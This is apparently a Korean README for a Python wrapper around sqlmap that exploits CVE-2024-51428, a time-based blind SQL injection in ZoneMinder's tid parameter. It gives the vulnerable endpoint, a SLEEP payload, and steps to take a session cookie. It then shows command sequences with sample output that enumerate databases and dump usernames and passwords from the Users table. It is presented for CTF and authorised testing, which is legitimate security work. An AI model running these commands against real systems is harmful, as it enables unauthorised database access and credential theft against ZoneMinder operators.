
ZoneMinder의 CVE-2024-51428을 sqlmap을 사용한 블라인드 SQL 인젝션으로 공격하는 Python 래퍼로, DB 및 테이블 열거와 데이터 추출을 자동화하고 깔끔한 출력을 제공합니다.
ZoneMinder의 CVE-2024-51428을 악용하도록 설계된 sqlmap용 Python 래퍼입니다.
이 도구는 블라인드 SQL 인젝션(Blind SQL Injection) 취약점의 탐지와 악용을 자동화하면서, 출력을 깔끔하게 유지하고 유용한 데이터에 집중합니다.
이 스크립트는 sqlmap 로그를 숨기고 다음과 같은 관련 정보만 표시합니다:
따라서 이 도구는 CTF 환경, 데모, 보안 테스트에 적합합니다.
CVE: CVE-2024-51428
유형: 블라인드 SQL 인젝션
영향을 받는 소프트웨어: ZoneMinder
공격 벡터: HTTP GET 파라미터
파라미터: tid
취약점은 다음 엔드포인트에 존재합니다:
/zm/index.php?view=request&request=event&action=removetag&tid=
tid 파라미터는 데이터베이스 쿼리에 사용되기 전에 제대로 검증되지 않아, 공격자가 SQL 쿼리를 주입할 수 있습니다.
사용된 악용 기법은 시간 기반 블라인드 SQL 인젝션입니다.
sqlmap이 발견한 예시 페이로드:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
이 페이로드는 쿼리가 성공적으로 실행되면 데이터베이스를 강제로 SLEEP 상태로 만들어 SQL 인젝션의 존재를 확인합니다.
필요한 경우 sqlmap을 설치하세요:
sudo apt install sqlmap
기본 구문:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
이 명령으로 취약한지 여부를 확인합니다
예시:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
이 익스플로잇에는 유효한 ZoneMinder 세션 쿠키가 필요합니다.
단계:
Application → Cookies
ZMSESSID
-c와 함께 사용합니다예시:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
예시 출력:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
예시 출력:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
예시 출력:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
예시:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
다음을 사용하여 행을 필터링할 수 있습니다:
-ff <COLUMN> <VALUE>
예시:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
동등한 SQL:
WHERE Username='mark'
예시:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
내부적으로 실행되는 sqlmap 명령:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
이 스크립트는 sqlmap을 감싸는 래퍼 역할을 합니다.
내부적으로 수행되는 단계:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
이 도구는 다음을 위해 제작되었습니다:
이 프로젝트는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.
저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
어떤 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
보안 연구 / CTF 도구